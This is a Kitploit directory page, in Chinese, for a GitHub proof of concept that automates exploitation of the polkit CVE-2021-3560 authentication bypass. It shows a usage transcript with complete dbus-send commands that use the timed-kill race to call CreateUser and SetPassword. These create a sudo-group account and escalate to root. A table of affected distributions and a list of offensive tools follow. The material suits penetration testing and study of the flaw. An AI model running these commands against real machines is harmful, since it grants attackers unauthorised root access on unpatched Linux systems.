Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
polkit-auto-exploit — 针对 Polkit CVE-2021-3560 的自动利用 PoC | Kitploit
工具/GitHubGitHub/aancw/polkit-auto-exploit
身份验证与授权权限提升漏洞分析漏洞利用渗透测试
GitHubaancw/polkit-auto-exploit

polkit-auto-exploit

针对 Polkit CVE-2021-3560 的自动利用 PoC

查看仓库
5375年前尚未审核
分享

polkit-auto-exploit

Polkit CVE-2021-3560 的自动利用 PoC

概要

CVE-2021-3560 是 polkit 的一个认证绕过漏洞,允许非特权用户通过 DBus 调用特权方法。在此利用中,我们将调用 accountsservice 提供的两个特权方法(CreateUser 和 SetPassword),从而创建一个特权用户,然后为其设置密码,最后以创建的用户身份登录并提权到 root。 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

用法

ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)

[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs

测试环境

  • Ubuntu 20.04(policykit-1/focal,now 0.105-26ubuntu1)

信息

任何安装了 polkit 0.113 或更高版本的系统都存在漏洞。受影响的流行发行版包括 polkit 版本 0.115 的 RHEL 8 以及 polkit 版本 0-105-26(Debian 分支)的 Ubuntu 20.04。

受影响的发行版

发行版 受影响?
RHEL 7 否
RHEL 8 是
Fedora 20(或更早) 否
Fedora 21(或更新) 是
Debian 10 ("buster") 否
Debian testing ("bullseye") 是
Ubuntu 18.04 否
Ubuntu 20.04 是

许可证

MIT License

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    352
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    291

探索所有工具

浏览我们的工具集合

查看所有工具 →